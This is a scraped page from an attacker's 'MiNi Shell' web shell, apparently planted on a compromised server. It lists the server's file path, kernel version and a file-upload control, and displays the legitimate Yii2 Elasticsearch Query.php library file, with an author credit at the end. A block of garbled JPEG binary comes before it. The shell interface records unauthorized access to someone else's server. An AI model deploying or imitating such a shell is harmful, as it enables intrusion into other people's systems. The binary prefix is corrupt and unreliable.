JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/vendor_kopia_12_09_2023/yiisoft/yii2-elasticsearch/

Linux eb5096292c53 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/vendor_kopia_12_09_2023/yiisoft/yii2-elasticsearch/Query.php

<?php
/**
 * @link https://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license https://www.yiiframework.com/license/
 */

namespace yii\elasticsearch;

use Yii;
use yii\base\Component;
use yii\base\InvalidArgumentException;
use yii\db\QueryInterface;
use yii\db\QueryTrait;

/**
 * Query represents a query to the search API of Elasticsearch.
 *
 * Query provides a set of methods to facilitate the specification of different
 * parameters of the query. These methods can be chained together.
 *
 * By calling [[createCommand()]], we can get a [[Command]] instance which can
 * be further used to perform/execute the DB query against a database.
 *
 * For example,
 *
 * ~~~
 * $query = new Query;
 * $query->storedFields('id, name')
 *     ->from('myindex', 'users')
 *     ->limit(10);
 * // build and execute the query
 * $command = $query->createCommand();
 * $rows = $command->search(); // this way you get the raw output of Elasticsearch.
 * ~~~
 *
 * You would normally call `$query->search()` instead of creating a command as
 * this method adds the `indexBy()` feature and also removes some
 * inconsistencies from the response.
 *
 * Query also provides some methods to easier get some parts of the result only:
 *
 * - [[one()]]: returns a single record populated with the first row of data.
 * - [[all()]]: returns all records based on the query results.
 * - [[count()]]: returns the number of records.
 * - [[scalar()]]: returns the value of the first column in the first row of the query result.
 * - [[column()]]: returns the value of the first column in the query result.
 * - [[exists()]]: returns a value indicating whether the query result has data or not.
 *
 * NOTE: Elasticsearch limits the number of records returned to 10 records by
 * default. If you expect to get more records you should specify limit
 * explicitly.
 *
 * @author Carsten Brandt <mail@cebe.cc>
 * @since 2.0
 */
class Query extends Component implements QueryInterface
{
    use QueryTrait;

    /**
     * @var array the fields being retrieved from the documents. For example,
     * `['id', 'name']`.  If not set, this option will not be applied to the
     * query and no fields will be returned.  In this case the `_source` field
     * will be returned by default which can be configured using [[source]].
     * Setting this to an empty array will result in no fields being retrieved,
     * which means that only the primaryKey of a record will be available in
     * the result.
     * > Note: Field values are [always returned as arrays] even if they only
     * > have one value.
     *
     * [always returned as arrays]: https://www.elastic.co/guide/en/elasticsearch/reference/current/array.html
     *
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-stored-fields.html
     * @see storedFields()
     * @see source
     */
    public $storedFields;
    /**
     * @var array the scripted fields being retrieved from the documents.
     * Example:
     * ```php
     * $query->scriptFields = [
     *     'value_times_two' => [
     *         'script' => "doc['my_field_name'].value * 2",
     *     ],
     *     'value_times_factor' => [
     *         'script' => "doc['my_field_name'].value * factor",
     *         'params' => [
     *             'factor' => 2.0
     *         ],
     *     ],
     * ]
     * ```
     *
     * > Note: Field values are [always returned as arrays] even if they only have one value.
     *
     * [always returned as arrays]: https://www.elastic.co/guide/en/elasticsearch/reference/current/array.html
     * [script field]: https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-script-fields.html
     *
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-script-fields.html
     * @see scriptFields()
     * @see source
     */
    public $scriptFields;
    /**
     * @var array An array of runtime fields evaluated at query time
     * Example:
     * ```php
     * $query->$runtimeMappings = [
     *     'value_times_two' => [
     *         'type' => 'double',
     *         'script' => "emit(doc['my_field_name'].value * 2)",
     *     ],
     *     'value_times_factor' => [
     *         'type' => 'double',
     *         'script' => "emit(doc['my_field_name'].value * factor)",
     *         'params' => [
     *             'factor' => 2.0
     *         ],
     *     ],
     * ]
     * ```
     *
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/current/runtime-mapping-fields.html
     * @see runtimeMappings()
     * @see source
     */
    public $runtimeMappings;
    /**
     * @var array Use the fields parameter to retrieve the values of runtime fields. Runtime fields won’t display in
     * _source, but the fields API works for all fields, even those that were not sent as part of the original _source.
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/current/runtime-retrieving-fields.html
     * @see fields()
     * @see fields
     */
    public $fields;
    /**
     * @var array this option controls how the `_source` field is returned from
     * the documents. For example, `['id', 'name']` means that only the `id`
     * and `name` field should be returned from `_source`.  If not set, it
     * means retrieving the full `_source` field unless [[fields]] are
     * specified.  Setting this option to `false` will disable return of the
     * `_source` field, this means that only the primaryKey of a record will be
     * available in the result.
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-source-filtering.html
     * @see source()
     * @see fields
     */
    public $source;
    /**
     * @var string|array The index to retrieve data from. This can be a string
     * representing a single index or a an array of multiple indexes. If this
     * is not set, indexes are being queried.
     * @see from()
     */
    public $index;
    /**
     * @var string|array The type to retrieve data from. This can be a string
     * representing a single type or a an array of multiple types. If this is
     * not set, all types are being queried.
     * @see from()
     */
    public $type;
    /**
     * @var integer A search timeout, bounding the search request to be
     * executed within the specified time value and bail with the hits
     * accumulated up to that point when expired. Defaults to no timeout.
     * @see timeout()
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/current/search.html#global-search-timeout
     */
    public $timeout;
    /**
     * @var array|string The query part of this search query. This is an array
     * or json string that follows the format of the elasticsearch
     * [Query DSL](https://www.elastic.co/guide/en/elasticsearch/reference/current/query-dsl.html).
     */
    public $query;
    /**
     * @var array|string The filter part of this search query. This is an array
     * or json string that follows the format of the elasticsearch
     * [Query DSL](https://www.elastic.co/guide/en/elasticsearch/reference/current/query-dsl.html).
     */
    public $filter;
    /**
     * @var string|array The `post_filter` part of the search query for
     * differentially filter search results and aggregations.
     * @see https://www.elastic.co/guide/en/elasticsearch/guide/current/_post_filter.html
     * @since 2.0.5
     */
    public $postFilter;
    /**
     * @var array The highlight part of this search query. This is an array that allows to highlight search results
     * on one or more fields.
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-highlighting.html
     */
    public $highlight;
    /**
     * @var array List of aggregations to add to this query.
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/current/search-aggregations.html
     */
    public $aggregations = [];
    /**
     * @var array the 'stats' part of the query. An array of groups to maintain
     * a statistics aggregation for.
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/current/search.html#stats-groups
     */
    public $stats = [];
    /**
     * @var array list of suggesters to add to this query.
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/current/search-suggesters.html
     */
    public $suggest = [];
    /**
     * @var array list of collapse to add to this query.
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/current/search-suggesters.html
     * @since 2.1.0
     */
    public $collapse = [];
    /**
     * @var float Exclude documents which have a _score less than the minimum
     * specified in min_score
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-min-score.html
     * @since 2.0.4
     */
    public $minScore;
    /**
     * @var array list of options that will passed to commands created by this query.
     * @see Command::$options
     * @since 2.0.4
     */
    public $options = [];
    /**
     * @var bool Enables explanation for each hit on how its score was computed.
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-explain.html
     * @since 2.0.5
     */
    public $explain;


    /**
     * @inheritdoc
     */
    public function init()
    {
        parent::init();
        // setting the default limit according to Elasticsearch defaults
        // https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-body.html#_parameters_5
        if ($this->limit === null) {
            $this->limit = 10;
        }
    }

    /**
     * Creates a DB command that can be used to execute this query.
     * @param Connection $db the database connection used to execute the query.
     * If this parameter is not given, the `elasticsearch` application
     * component will be used.
     * @return Command the created DB command instance.
     */
    public function createCommand($db = null)
    {
        if ($db === null) {
            $db = Yii::$app->get('elasticsearch');
        }
        $commandConfig = $db->getQueryBuilder()->build($this);
        return $db->createCommand($commandConfig);
    }

    /**
     * Executes the query and returns all results as an array.
     * @param Connection $db the database connection used to execute the query.
     * If this parameter is not given, the `elasticsearch` application component will be used.
     * @return array the query results. If the query results in nothing, an empty array will be returned.
     */
    public function all($db = null)
    {
        if ($this->emulateExecution) {
            return [];
        }
        $result = $this->createCommand($db)->search();
        if ($result === false) {
            throw new Exception('Elasticsearch search query failed.');
        }
        if (empty($result['hits']['hits'])) {
            return [];
        }
        $rows = $result['hits']['hits'];
        return $this->populate($rows);
    }

    /**
     * Converts the raw query results into the format as specified by this
     * query. This method is internally used to convert the data fetched from
     * database into the format as required by this query.
     * @param array $rows the raw query result from database
     * @return array the converted query result
     * @since 2.0.4
     */
    public function populate($rows)
    {
        if ($this->indexBy === null) {
            return $rows;
        }
        $models = [];
        foreach ($rows as $key => $row) {
            if ($this->indexBy !== null) {
                if (is_string($this->indexBy)) {
                    $key = isset($row['fields'][$this->indexBy]) ?
                        reset($row['fields'][$this->indexBy]) : $row['_source'][$this->indexBy];
                } else {
                    $key = call_user_func($this->indexBy, $row);
                }
            }
            $models[$key] = $row;
        }
        return $models;
    }

    /**
     * Executes the query and returns a single row of result.
     * @param Connection $db the database connection used to execute the query.
     * If this parameter is not given, the `elasticsearch` application
     * component will be used.
     * @return array|bool the first row (in terms of an array) of the query
     * result. False is returned if the query results in nothing.
     */
    public function one($db = null)
    {
        if ($this->emulateExecution) {
            return false;
        }
        $result = $this->createCommand($db)->search(['size' => 1]);
        if ($result === false) {
            throw new Exception('Elasticsearch search query failed.');
        }
        if (empty($result['hits']['hits'])) {
            return false;
        }
        $record = reset($result['hits']['hits']);

        return $record;
    }

    /**
     * Executes the query and returns the complete search result including e.g.
     * hits, aggregations, suggesters, totalCount.
     * @param Connection $db the database connection used to execute the query.
     * If this parameter is not given, the `elasticsearch` application
     * component will be used.
     * @param array $options The options given with this query. Possible
     * options are:
     *
     *  - [routing](https://www.elastic.co/guide/en/elasticsearch/reference/current/search.html#search-routing)
     *
     * @return array the query results.
     */
    public function search($db = null, $options = [])
    {
        if ($this->emulateExecution) {
            return [
                'hits' => [
                    'total' => 0,
                    'hits' => [],
                ],
            ];
        }
        $result = $this->createCommand($db)->search($options);
        if ($result === false) {
            throw new Exception('Elasticsearch search query failed.');
        }
        if (!empty($result['hits']['hits']) && $this->indexBy !== null) {
            $rows = [];
            foreach ($result['hits']['hits'] as $key => $row) {
                if (is_string($this->indexBy)) {
                    $key = isset($row['fields'][$this->indexBy]) ?
                        $row['fields'][$this->indexBy] : $row['_source'][$this->indexBy];
                } else {
                    $key = call_user_func($this->indexBy, $row);
                }
                $rows[$key] = $row;
            }
            $result['hits']['hits'] = $rows;
        }
        return $result;
    }

    /**
     * Executes the query and deletes all matching documents.
     *
     * Everything except query and filter will be ignored.
     *
     * @param Connection $db the database connection used to execute the query.
     * If this parameter is not given, the `elasticsearch` application
     * component will be used.
     * @param array $options The options given with this query.
     * @return array the query results.
     */
    public function delete($db = null, $options = [])
    {
        if ($this->emulateExecution) {
            return [];
        }
        return $this->createCommand($db)->deleteByQuery($options);
    }

    /**
     * Returns the query result as a scalar value. The value returned will be
     * the specified field in the first document of the query results.
     * @param string $field name of the attribute to select
     * @param Connection $db the database connection used to execute the query.
     * If this parameter is not given, the `elasticsearch` application
     * component will be used.
     * @return string the value of the specified attribute in the first record
     * of the query result. Null is returned if the query result is empty or
     * the field does not exist.
     */
    public function scalar($field, $db = null)
    {
        if ($this->emulateExecution) {
            return null;
        }
        $record = self::one($db);
        if ($record !== false) {
            if ($field === '_id') {
                return $record['_id'];
            } elseif (isset($record['_source'][$field])) {
                return $record['_source'][$field];
            } elseif (isset($record['fields'][$field])) {
                return count($record['fields'][$field]) == 1 ? reset($record['fields'][$field]) : $record['fields'][$field];
            }
        }
        return null;
    }

    /**
     * Executes the query and returns the first column of the result.
     * @param string $field the field to query over
     * @param Connection $db the database connection used to execute the query.
     * If this parameter is not given, the `elasticsearch` application
     * component will be used.
     * @return array the first column of the query result. An empty array is
     * returned if the query results in nothing.
     */
    public function column($field, $db = null)
    {
        if ($this->emulateExecution) {
            return [];
        }
        $command = $this->createCommand($db);
        $command->queryParts['_source'] = [$field];
        $result = $command->search();
        if ($result === false) {
            throw new Exception('Elasticsearch search query failed.');
        }
        if (empty($result['hits']['hits'])) {
            return [];
        }
        $column = [];
        foreach ($result['hits']['hits'] as $row) {
            if (isset($row['fields'][$field])) {
                $column[] = $row['fields'][$field];
            } elseif (isset($row['_source'][$field])) {
                $column[] = $row['_source'][$field];
            } else {
                $column[] = null;
            }
        }
        return $column;
    }

    /**
     * Returns the number of records.
     * @param string $q the COUNT expression. This parameter is ignored by this implementation.
     * @param Connection $db the database connection used to execute the query.
     * If this parameter is not given, the `elasticsearch` application
     * component will be used.
     * @return int number of records
     */
    public function count($q = '*', $db = null)
    {
        if ($this->emulateExecution) {
            return 0;
        }

        $command = $this->createCommand($db);

        // performing a query with return size of 0, is equal to getting result stats such as count
        // https://www.elastic.co/guide/en/elasticsearch/reference/5.6/breaking_50_search_changes.html#_literal_search_type_literal
        $searchOptions = ['size' => 0];

        // Set track_total_hits to 'true' for ElasticSearch version 6 and up
        // https://www.elastic.co/guide/en/elasticsearch/reference/master/search-your-data.html#track-total-hits
        if ($command->db->dslVersion >= 6) {
            $searchOptions['track_total_hits'] = 'true';
        }

        $result = $command->search($searchOptions);

        // since ES7 totals are returned as array (with count and precision values)
        if (isset($result['hits']['total'])) {
            return is_array($result['hits']['total']) ? (int)$result['hits']['total']['value'] : (int)$result['hits']['total'];
        }
        return 0;
    }

    /**
     * Returns a value indicating whether the query result contains any row of
     * data.
     * @param Connection $db the database connection used to execute the query.
     * If this parameter is not given, the `elasticsearch` application
     * component will be used.
     * @return bool whether the query result contains any row of data.
     */
    public function exists($db = null)
    {
        return self::one($db) !== false;
    }

    /**
     * Adds a 'stats' part to the query.
     * @param array $groups an array of groups to maintain a statistics aggregation for.
     * @return $this the query object itself
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/current/search.html#stats-groups
     */
    public function stats($groups)
    {
        $this->stats = $groups;
        return $this;
    }

    /**
     * Sets a highlight parameters to retrieve from the documents.
     * @param array $highlight array of parameters to highlight results.
     * @return $this the query object itself
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-highlighting.html
     */
    public function highlight($highlight)
    {
        $this->highlight = $highlight;
        return $this;
    }

    /**
     * @deprecated since 2.0.5 use addAggragate() instead
     *
     * Adds an aggregation to this query.
     * @param string $name the name of the aggregation
     * @param string $type the aggregation type. e.g. `terms`, `range`,
     * `histogram`, ...
     * @param string|array $options the configuration options for this
     * aggregation. Can be an array or a json string.
     * @return $this the query object itself
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/current/search-aggregations.html
     */
    public function addAggregation($name, $type, $options)
    {
        return $this->addAggregate($name, [$type => $options]);
    }

    /**
     * @deprecated since 2.0.5 use addAggregate() instead
     *
     * Adds an aggregation to this query.
     *
     * This is an alias for [[addAggregation]].
     *
     * @param string $name the name of the aggregation
     * @param string $type the aggregation type. e.g. `terms`, `range`, `histogram`...
     * @param string|array $options the configuration options for this
     * aggregation. Can be an array or a json string.
     * @return $this the query object itself
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/current/search-aggregations.html
     */
    public function addAgg($name, $type, $options)
    {
        return $this->addAggregate($name, [$type => $options]);
    }

    /**
     * Adds an aggregation to this query. Supports nested aggregations.
     * @param string $name the name of the aggregation
     * @param string|array $options the configuration options for this
     * aggregation. Can be an array or a json string.
     * @return $this the query object itself
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/2.3/search-aggregations.html
     */
    public function addAggregate($name, $options)
    {
        $this->aggregations[$name] = $options;
        return $this;
    }

    /**
     * Adds a suggester to this query.
     * @param string $name the name of the suggester
     * @param string|array $definition the configuration options for this
     * suggester. Can be an array or a json string.
     * @return $this the query object itself
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/current/search-suggesters.html
     */
    public function addSuggester($name, $definition)
    {
        $this->suggest[$name] = $definition;
        return $this;
    }

    /**
     * Adds a collapse to this query.
     * @param array $collapse the configuration options for collapse.
     * @return $this the query object itself
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/5.3/search-request-collapse.html#search-request-collapse
     * @since 2.1.0
     */
    public function addCollapse($collapse)
    {
        $this->collapse = $collapse;
        return $this;
    }

    // TODO add validate query https://www.elastic.co/guide/en/elasticsearch/reference/current/search-validate.html

    // TODO support multi query via static method https://www.elastic.co/guide/en/elasticsearch/reference/current/search-multi-search.html

    /**
     * Sets the query part of this search query.
     * @param string|array $query
     * @return $this the query object itself
     */
    public function query($query)
    {
        $this->query = $query;
        return $this;
    }

    /**
     * Starts a batch query.
     *
     * A batch query supports fetching data in batches, which can keep the
     * memory usage under a limit. This method will return a [[BatchQueryResult]]
     * object which implements the [[\Iterator]] interface and can be traversed
     * to retrieve the data in batches.
     *
     * For example,
     *
     * ```php
     * $query = (new Query)->from('user');
     * foreach ($query->batch() as $rows) {
     *     // $rows is an array of 10 or fewer rows from user table
     * }
     * ```
     *
     * Batch size is determined by the `limit` setting (note that in scan mode
     * batch limit is per shard).
     *
     * @param string $scrollWindow how long Elasticsearch should keep the
     * search context alive, in
     * [time units](https://www.elastic.co/guide/en/elasticsearch/reference/current/common-options.html#time-units)
     * @param Connection $db the database connection. If not set, the
     * `elasticsearch` application component will be used.
     * @return BatchQueryResult the batch query result. It implements the
     * [[\Iterator]] interface and can be traversed to retrieve the data in
     * batches.
     * @since 2.0.4
     */
    public function batch($scrollWindow = '1m', $db = null)
    {
        return Yii::createObject([
            'class' => BatchQueryResult::className(),
            'query' => $this,
            'scrollWindow' => $scrollWindow,
            'db' => $db,
            'each' => false,
        ]);
    }

    /**
     * Starts a batch query and retrieves data row by row.
     *
     * This method is similar to [[batch()]] except that in each iteration of
     * the result, only one row of data is returned. For example,
     *
     * ```php
     * $query = (new Query)->from('user');
     * foreach ($query->each() as $row) {
     * }
     * ```
     *
     * @param string $scrollWindow how long Elasticsearch should keep the
     * search context alive, in
     * [time units](https://www.elastic.co/guide/en/elasticsearch/reference/current/common-options.html#time-units)
     * @param Connection $db the database connection. If not set, the
     * `elasticsearch` application component will be used.
     * @return BatchQueryResult the batch query result. It implements the
     * [[\Iterator]] interface and can be traversed to retrieve the data in
     * batches.
     * @since 2.0.4
     */
    public function each($scrollWindow = '1m', $db = null)
    {
        return Yii::createObject([
            'class' => BatchQueryResult::className(),
            'query' => $this,
            'scrollWindow' => $scrollWindow,
            'db' => $db,
            'each' => true,
        ]);
    }

    /**
     * Sets the index and type to retrieve documents from.
     * @param string|array $index The index to retrieve data from. This can be
     * a string representing a single index or a an array of multiple indexes.
     * If this is `null` it means that all indexes are being queried.
     * @param string|array $type The type to retrieve data from. This can be a
     * string representing a single type or a an array of multiple types. If
     * this is `null` it means that all types are being queried.
     * @return $this the query object itself
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/current/search-search.html#search-multi-index-type
     */
    public function from($index, $type = null)
    {
        $this->index = $index;
        $this->type = $type;
        return $this;
    }

    /**
     * Sets the fields to retrieve from the documents.
     *
     * Quote from the Elasticsearch doc:
     * > The stored_fields parameter is about fields that are explicitly marked
     * > as stored in the mapping, which is off by default and generally not
     * > recommended. Use source filtering instead to select subsets of the
     * > original source document to be returned.
     *
     * @param array $fields the fields to be selected.
     * @return $this the query object itself
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-stored-fields.html
     */
    public function storedFields($fields)
    {
        if (is_array($fields) || $fields === null) {
            $this->storedFields = $fields;
        } else {
            $this->storedFields = func_get_args();
        }
        return $this;
    }

    /**
     * Sets the script fields to retrieve from the documents.
     * @param array $fields the fields to be selected.
     * @return $this the query object itself
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-script-fields.html
     */
    public function scriptFields($fields)
    {
        if (is_array($fields) || $fields === null) {
            $this->scriptFields = $fields;
        } else {
            $this->scriptFields = func_get_args();
        }
        return $this;
    }

    /**
     * Sets the runtime mappings for this query
     * @param $mappings
     * @return $this the query object itself
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/current/runtime.html
     */
    public function runtimeMappings($mappings)
    {
        if (is_array($mappings) || $mappings === null) {
            $this->runtimeMappings = $mappings;
        } else {
            $this->runtimeMappings = func_get_args();
        }
        return $this;
    }

    /**
     * Sets the runtime fields to retrieve from the documents.
     * @param array $fields the fields to be selected.
     * @return $this the query object itself
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/current/runtime-retrieving-fields.html
     */
    public function fields($fields)
    {
        if (is_array($fields) || $fields === null) {
            $this->fields = $fields;
        } else {
            $this->fields = func_get_args();
        }
        return $this;
    }

    /**
     * Sets the source filtering, specifying how the `_source` field of the
     * document should be returned.
     * @param array|string|null|false $source the source patterns to be selected.
     * @return $this the query object itself
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-source-filtering.html
     */
    public function source($source)
    {
        if (is_array($source) || $source === null  || $source === false) {
            $this->source = $source;
        } else {
            $this->source = func_get_args();
        }
        return $this;
    }

    /**
     * Sets the search timeout.
     * @param int $timeout A search timeout, bounding the search request to
     * be executed within the specified time value and bail with the hits
     * accumulated up to that point when expired. Defaults to no timeout.
     * @return $this the query object itself
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-body.html#_parameters_5
     */
    public function timeout($timeout)
    {
        $this->timeout = $timeout;
        return $this;
    }

    /**
     * @param float $minScore Exclude documents which have a `_score` less than
     * the minimum specified minScore
     * @return $this the query object itself
     * @see https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-min-score.html
     * @since 2.0.4
     */
    public function minScore($minScore)
    {
        $this->minScore = $minScore;
        return $this;
    }

    /**
     * Sets the options to be passed to the command created by this query.
     * @param array $options the options to be set.
     * @return $this the query object itself
     * @throws InvalidArgumentException if $options is not an array
     * @see Command::$options
     * @since 2.0.4
     */
    public function options($options)
    {
        if (!is_array($options)) {
            throw new InvalidArgumentException('Array parameter expected, ' . gettype($options) . ' received.');
        }

        $this->options = $options;
        return $this;
    }

    /**
     * Adds more options, overwriting existing options.
     * @param array $options the options to be added.
     * @return $this the query object itself
     * @throws InvalidArgumentException if $options is not an array
     * @see options()
     * @since 2.0.4
     */
    public function addOptions($options)
    {
        if (!is_array($options)) {
            throw new InvalidArgumentException('Array parameter expected, ' . gettype($options) . ' received.');
        }

        $this->options = array_merge($this->options, $options);
        return $this;
    }

    /**
     * @inheritdoc
     */
    public function andWhere($condition)
    {
        if ($this->where === null) {
            $this->where = $condition;
        } else if (isset($this->where[0]) && $this->where[0] === 'and') {
            $this->where[] = $condition;
        } else {
            $this->where = ['and', $this->where, $condition];
        }
        return $this;
    }

    /**
     * @inheritdoc
     */
    public function orWhere($condition)
    {
        if ($this->where === null) {
            $this->where = $condition;
        } else if (isset($this->where[0]) && $this->where[0] === 'or') {
            $this->where[] = $condition;
        } else {
            $this->where = ['or', $this->where, $condition];
        }
        return $this;
    }

    /**
     * Set the `post_filter` part of the search query.
     * @param string|array $filter
     * @return $this the query object itself
     * @see $postFilter
     * @since 2.0.5
     */
    public function postFilter($filter)
    {
        $this->postFilter = $filter;
        return $this;
    }

    /**
     * Explain for how the score of each document was computer
     * @param $explain
     * @return $this
     * @see $explain
     * @since 2.0.5
     */
    public function explain($explain)
    {
        $this->explain = $explain;
        return $this;
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com